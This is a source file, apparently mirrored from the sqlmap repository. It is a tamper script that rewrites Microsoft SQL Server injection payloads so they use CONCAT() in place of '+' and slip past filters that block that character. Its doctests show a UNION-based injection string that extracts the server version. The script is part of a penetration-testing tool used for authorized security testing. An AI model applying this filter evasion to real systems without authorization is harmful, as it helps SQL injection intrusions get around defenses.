mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 01:26:42 +03:00
56 lines
1.8 KiB
Python
56 lines
1.8 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import os
|
|
import re
|
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
from lib.core.common import zeroDepthSearch
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.HIGHEST
|
|
|
|
def dependencies():
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart
|
|
|
|
Tested against:
|
|
* Microsoft SQL Server 2012
|
|
|
|
Requirements:
|
|
* Microsoft SQL Server 2012+
|
|
|
|
Notes:
|
|
* Useful in case ('+') character is filtered
|
|
|
|
>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
|
|
'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
|
|
|
|
>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')
|
|
'1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe'
|
|
"""
|
|
|
|
retVal = payload
|
|
|
|
if payload:
|
|
match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal)
|
|
if match:
|
|
part = match.group(0)
|
|
|
|
chars = [char for char in part]
|
|
for index in zeroDepthSearch(part, '+'):
|
|
chars[index] = ','
|
|
|
|
replacement = "CONCAT(%s)" % "".join(chars)
|
|
retVal = retVal.replace(part, replacement)
|
|
|
|
return retVal
|